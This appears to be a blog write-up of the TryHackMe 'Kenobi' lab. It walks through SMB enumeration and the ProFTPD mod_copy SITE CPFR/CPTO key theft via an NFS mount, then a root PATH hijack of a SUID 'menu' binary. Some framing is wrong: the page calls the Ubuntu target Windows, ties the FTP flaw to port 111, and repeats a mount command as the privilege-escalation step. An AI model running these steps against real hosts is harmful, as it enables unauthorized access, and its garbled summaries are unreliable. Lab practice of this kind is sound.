Post

TryHackMe - Kenobi (Windows)

TryHackMe Kenobi Windows マシン解説。実践的な悪用手順と権限昇格テクニックを解説。

Posted Updated
By Paul
18 min read
TryHackMe - Kenobi (Windows)

概要

項目 内容
OS Windows
難易度 記録なし
攻撃対象 21/tcp open ftp, 22/tcp open ssh, 80/tcp open http, 111/tcp open rpcbind, 111/tcp rpcbind
, 2049/tcp nfs  
   
主な侵入経路 smb-enumeration, upload-abuse
権限昇格経路 Local misconfiguration or credential reuse to elevate privileges

偵察

1. PortScan

Initial reconnaissance narrows the attack surface by establishing public services and versions. Under the OSCP assumption, it is important to identify “intrusion entry candidates” and “lateral expansion candidates” at the same time during the first scan.

Rustscan

💡 なぜ有効か
High-quality reconnaissance narrows a large attack surface into a few validated exploitation paths. Accurate service mapping prevents time loss and supports targeted follow-up testing.

初期足がかり

Not implemented (or log not saved)

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

nmap -p- -sC -sV -T4 $ip
┌──(n0z0㉿galatea)-[~]
└─$ nmap -p- -sC -sV -T4 $ip
Starting Nmap 7.94 ( https://nmap.org ) at 2024-09-09 00:21 JST
Nmap scan report for 10.10.210.217
Host is up (0.28s latency).
Not shown: 65524 closed tcp ports (conn-refused)
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         ProFTPD 1.3.5
22/tcp    open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
|   256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
|_  256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
80/tcp    open  http        Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/admin.html
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
111/tcp   open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100003  2,3,4       2049/udp   nfs
|   100003  2,3,4       2049/udp6  nfs
|   100005  1,2,3      43884/udp6  mountd
|   100005  1,2,3      44771/tcp   mountd
|   100005  1,2,3      55522/udp   mountd
|   100005  1,2,3      60319/tcp6  mountd
|   100021  1,3,4      38913/tcp   nlockmgr
|   100021  1,3,4      39856/udp   nlockmgr
|   100021  1,3,4      44521/tcp6  nlockmgr
|   100021  1,3,4      46638/udp6  nlockmgr
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp  open  nfs         2-4 (RPC #100003)
38913/tcp open  nlockmgr    1-4 (RPC #100021)
44771/tcp open  mountd      1-3 (RPC #100005)
48085/tcp open  mountd      1-3 (RPC #100005)
51251/tcp open  mountd      1-3 (RPC #100005)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2024-09-08T15:38:49
|_  start_date: N/A
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: kenobi
|   NetBIOS computer name: KENOBI\x00
|   Domain name: \x00
|   FQDN: kenobi
|_  System time: 2024-09-08T10:38:49-05:00
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: mean: 1h39m59s, deviation: 2h53m13s, median: -1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1024.50 seconds

2. Local Shell

ここでは初期侵入からユーザーシェル獲得までの手順を記録します。コマンド実行の意図と、次に見るべき出力（資格情報、設定不備、実行権限）を意識して追跡します。

実施ログ（統合）

OSCPライク

nmap実行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

┌──(n0z0㉿galatea)-[~]
└─$ nmap -p- -sC -sV -T4 $ip
Starting Nmap 7.94 ( https://nmap.org ) at 2024-09-09 00:21 JST
Nmap scan report for 10.10.210.217
Host is up (0.28s latency).
Not shown: 65524 closed tcp ports (conn-refused)
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         ProFTPD 1.3.5
22/tcp    open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
|   256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
|_  256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
80/tcp    open  http        Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/admin.html
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
111/tcp   open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100003  2,3,4       2049/udp   nfs
|   100003  2,3,4       2049/udp6  nfs
|   100005  1,2,3      43884/udp6  mountd
|   100005  1,2,3      44771/tcp   mountd
|   100005  1,2,3      55522/udp   mountd
|   100005  1,2,3      60319/tcp6  mountd
|   100021  1,3,4      38913/tcp   nlockmgr
|   100021  1,3,4      39856/udp   nlockmgr
|   100021  1,3,4      44521/tcp6  nlockmgr
|   100021  1,3,4      46638/udp6  nlockmgr
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp  open  nfs         2-4 (RPC #100003)
38913/tcp open  nlockmgr    1-4 (RPC #100021)
44771/tcp open  mountd      1-3 (RPC #100005)
48085/tcp open  mountd      1-3 (RPC #100005)
51251/tcp open  mountd      1-3 (RPC #100005)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2024-09-08T15:38:49
|_  start_date: N/A
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: kenobi
|   NetBIOS computer name: KENOBI\x00
|   Domain name: \x00
|   FQDN: kenobi
|_  System time: 2024-09-08T10:38:49-05:00
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: mean: 1h39m59s, deviation: 2h53m13s, median: -1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1024.50 seconds

smbが繋がるから繋いでみる

log.txtがあったからダウンロードしてみる

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

┌──(n0z0㉿galatea)-[~/work/thm/kenobi]
└─$ smbclient //$ip/anonymous -N 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Sep  4 19:49:09 2019
  ..                                  D        0  Wed Sep  4 19:56:07 2019
  log.txt                             N    12237  Wed Sep  4 19:49:09 2019
smb: \> get log.txt
getting file \log.txt of size 12237 as log.txt (10.9 KiloBytes/sec) (average 10.9 KiloBytes/sec)
smb: \> cd ..
smb: \> dir
  .                                   D        0  Wed Sep  4 19:49:09 2019
  ..                                  D        0  Wed Sep  4 19:56:07 2019
  log.txt                             N    12237  Wed Sep  4 19:49:09 2019

                9204224 blocks of size 1024. 6840352 blocks available

中身見てみた

┌──(n0z0㉿galatea)-[~/work/thm/kenobi] └─$ ls -la Total 20 drwxrwxr-x 2 n0z0 n0z0 4096 Sep 9 00:48 . drwxrwxr-x 3 n0z0 n0z0 4096 Sep 9 00:48 .. -rw-r–r– 1 n0z0 n0z0 12237 Sep 9 00:48 log.txt

┌──(n0z0㉿galatea)-[~/work/thm/kenobi] └─$ cat log.txt Generating public/private rsa key pair. Enter file in which to save the key (/home/kenobi/.ssh/id_rsa): Created directory ‘/home/kenobi/.ssh’. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/kenobi/.ssh/id_rsa. Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub. The key fingerprint is: SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi The key’s randomart image is: +—[RSA 2048]—-+ | | | .. | | . o. . | | ..=o +. | | . So.o++o. | | o …+oo.Bo*o | | o o ..o.o+.@oo | | . . . E .O+= . | | . . oBo. | +—-[SHA256]—–+

ServerName “ProFTPD Default Installation” ServerType standalone DefaultServer on

Port 21

UseIPv6 off

Umask 022

MaxInstances 30

User kenobi Group kenobi

#DefaultRoot ~

AllowOverwrite on

DenyAll

<Anonymous ~ftp> User ftp Group ftp

# We want clients to be able to login with “anonymous” as well as “ftp” UserAlias anonymous ftp

# Limit the maximum number of anonymous logins MaxClients 10

# We want ‘welcome.msg’ displayed at login, and ‘.message’ displayed # in each newly chdired directory. DisplayLogin welcome.msg DisplayChdir .message

# Limit WRITE everywhere in the anonymous chroot

DenyAll

</Anonymous> # # # # #

#======================= Global Settings =======================

[global]

Browsing/Identification

workgroup = WORKGROUP

1

    server string = %h server (Samba, Ubuntu)

; wins server = w.x.y.z

dns proxy = no

Networking

; interfaces = 127.0.0.0/8 eth0

; bind interfaces only = yes

Debugging/Accounting

log file = /var/log/samba/log.%m

max log size = 1000

syslog = 0

panic action = /usr/share/samba/panic-action %d

####### Authentication #######

# server role = standalone server

passdb backend = tdbsam

obey pam restrictions = yes

unix password sync = yes

passwd program = /usr/bin/passwd %u passwd chat = Enter\snew\s\spassword:* %n\n Retype\snew\s\spassword:* %n\n password\supdated\ssuccessfully .

pam password change = yes

map to guest = bad user

########## Domains ###########

# #

; logon path = \%N\profiles\%U

; logon drive = H:

; logon script = logon.cmd

; add user script = /usr/sbin/adduser –quiet –disabled-password –gecos “” %u

; add machine script = /usr/sbin/useradd -g machines -c “%u machine account” -d /var/lib/samba -s /bin/false %u

; add group script = /usr/sbin/addgroup –force-badname %g

############ Misc ############

; include = /home/samba/etc/smb.conf.%m

; idmap uid = 10000-20000 ; idmap gid = 10000-20000 ; template shell = /bin/bash

; usershare max shares = 100

usershare allow guests = yes

#======================= Share Definitions =======================

;[homes] ; comment = Home Directories ; browseable = no

; read only = yes

; create mask = 0700

; directory mask = 0700

; valid users = %S

;[netlogon] ; comment = Network Logon Service ; path = /home/samba/netlogon ; guest ok = yes ; read only = yes

;[profiles] ; comment = Users profiles ; path = /home/samba/profiles ; guest ok = no ; browseable = no ; create mask = 0600 ; directory mask = 0700

[printers] comment = All Printers browseable = no path = /var/spool/samba printable = yes guest ok = no read only = yes create mask = 0700

[print$] comment = Printer Drivers path = /var/lib/samba/printers browseable = yes read only = yes guest ok = no ; write list = root, @lpadmin [anonymous] path = /home/kenobi/share browseable = yes read only = yes guest ok = yes

ポート番号111はSITE CPFR and SITE CPTOの脆弱性を使える

1
2
3
4
5
6
7
8
9
10
11
12

┌──(n0z0㉿LAPTOP-P490FVC2)-[~]
└─$ nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount $ip
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-17 23:32 JST
Nmap scan report for 10.10.144.62
Host is up (0.27s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-showmount:
|_  /var *

Nmap done: 1 IP address (1 host up) scanned in 16.89 seconds

脆弱性の情報があることを確認する

1
2
3
4
5
6
7
8
9
10
11
12

┌──(n0z0㉿LAPTOP-P490FVC2)-[~]
└─$ searchsploit proftpd 1.3.5
-------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                      |  Path
-------------------------------------------------------------------- ---------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)           | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution                 | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)             | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy                                           | linux/remote/36742.txt
-------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

まず接続する

cpfrコマンドでコピー元を指定して、

cptoでコピー先をを指定してコピーを実行する

1
2
3
4
5
6
7
8

┌──(n0z0㉿LAPTOP-P490FVC2)-[~]
└─$ nc $ip 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.144.62]
site cpfr /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
site cpto /var/tmp/id_rsa
250 Copy successful
421 Login timeout (300 seconds): closing control connection

マウントポイントがあるので、マウントして、コピー先を見てみて

1
2
3
4

┌──(n0z0㉿LAPTOP-P490FVC2)-[~/work/thm/kenobi]
└─$ showmount -e $ip
Export list for 10.10.153.143:
/var *

マウントする

1

sudo mount -t nfs $ip:/var /mnt

秘密鍵コピーしておいて、sshで繋ぐとuser.txtがある

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

cp /mnt/kenobiNFS/tmp/id_rsa .
kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6

menuがなんか使えそう

1
2
3
4
5
6
7

kenobi@kenobi:/tmp$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1

1はcurlを実行しそうだから手元でcurlファイルを作成してシェルを起動するよう設定しつつ、 curlを実行するときは/usr/bin/curlではなく、さっき作成した/tmp/curlを使うよう環境変数を設定する

1
2
3
4

kenobi@kenobi:/tmp$ echo /bin/sh > curl
kenobi@kenobi:/tmp$ chmod 777 curl
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
kenobi@kenobi:/tmp$ /usr/bin/menu

まとめ

この一連のコマンドは、システム上のバイナリの脆弱性を悪用して権限昇格を試みています。具体的には、/usr/bin/menu というプログラムが curl コマンドを内部で実行する際、その動作を悪意のあるシェル (/bin/sh) に置き換え、root 権限を取得しようとしています。

ステップごとの解説

  1. echo /bin/sh > curl:
    • このコマンドは、/tmp ディレクトリにある curl というファイルを作成し、その中に /bin/sh というコマンドを書き込んでいます。
    • curl コマンドが実行されると、このファイルの内容である /bin/sh（UNIXのシェル）が実行されることになります。
  2. chmod 777 curl:
    • 先ほど作成した curl ファイルに、すべてのユーザー（読み取り、書き込み、実行）権限を付与しています。この操作により、どのユーザーでもこのファイルを実行できるようになります。
  3. export PATH=/tmp:$PATH:
    • 環境変数 PATH に /tmp を追加して、システムがコマンドを実行する際に /tmp ディレクトリを最優先で検索するようにしています。
    • これにより、システムが通常の /usr/bin/curl ではなく、/tmp/curl を実行するようになります。/tmp/curl は実際には curl ではなく、シェル /bin/sh を起動するように変更されています。
  4. /usr/bin/menu:
    • /usr/bin/menu プログラムを実行しています。このプログラムが内部で curl コマンドを呼び出す際、/tmp ディレクトリ内にある curl が実行されるため、実際には /bin/sh（シェル）が起動します。
    • もし menu プログラムが root 権限で動作していた場合、このシェルは root 権限で実行され、結果として攻撃者は root シェルを得ることができます。

何が起こっているのか？

この操作は、環境変数 PATH の変更を利用した権限昇格攻撃です。特定のプログラムが内部でコマンド（この場合は curl）を実行するときに、正規の curl を呼び出すのではなく、攻撃者が意図的に作成した偽の curl（実際には /bin/sh を実行）を呼び出すように仕向けています。

  • menu プログラムが curl コマンドを呼び出す際、/tmp/curl が優先的に実行され、攻撃者がシステム上でシェルを取得します。
  • もし menu プログラムが root 権限で動作している場合、シェルも root 権限で実行され、システム全体の制御が可能になります。

💡 なぜ有効か
Initial access succeeds when enumeration findings are turned into a practical exploit chain. Capturing credentials, file disclosure, or direct RCE creates reliable pivot points for privilege escalation.

権限昇格

3.Privilege Escalation

During the privilege escalation phase, we will prioritize checking for misconfigurations such as sudo -l / SUID / service settings / token privilege. By starting this check immediately after acquiring a low-privileged shell, you can reduce the chance of getting stuck.

This command is executed during privilege escalation to validate local misconfigurations and escalation paths. We are looking for delegated execution rights, writable sensitive paths, or credential artifacts. Any positive result is immediately chained into a higher-privilege execution attempt.

1

sudo mount -t nfs $ip:/var /mnt

💡 なぜ有効か
Privilege escalation depends on chaining local weaknesses such as sudo misconfiguration, weak file permissions, or credential reuse. If a GTFOBins technique is used, the mechanism is that an allowed binary executes a child process or shell without dropping elevated effective privileges.

認証情報

1

認証情報なし。

まとめ・学んだこと

4.Overview

flowchart LR
    subgraph SCAN["🔍 Scan"]
        direction TB
        S1["Port and service enumeration"]
    end

    subgraph INITIAL["💥 Initial Foothold"]
        direction TB
        I1["Web/credential-based foothold"]
    end

    subgraph PRIVESC["⬆️ Privilege Escalation"]
        direction TB
        P1["Privilege escalation path"]
    end

    SCAN --> INITIAL --> PRIVESC

参考文献

  • nmap
  • rustscan
  • metasploit
  • nc
  • sudo
  • ssh
  • curl
  • cat
  • find
  • GTFOBins
TryHackMe, Windows
rce suid php privilege-escalation
This post is licensed under CC BY 4.0 by the author.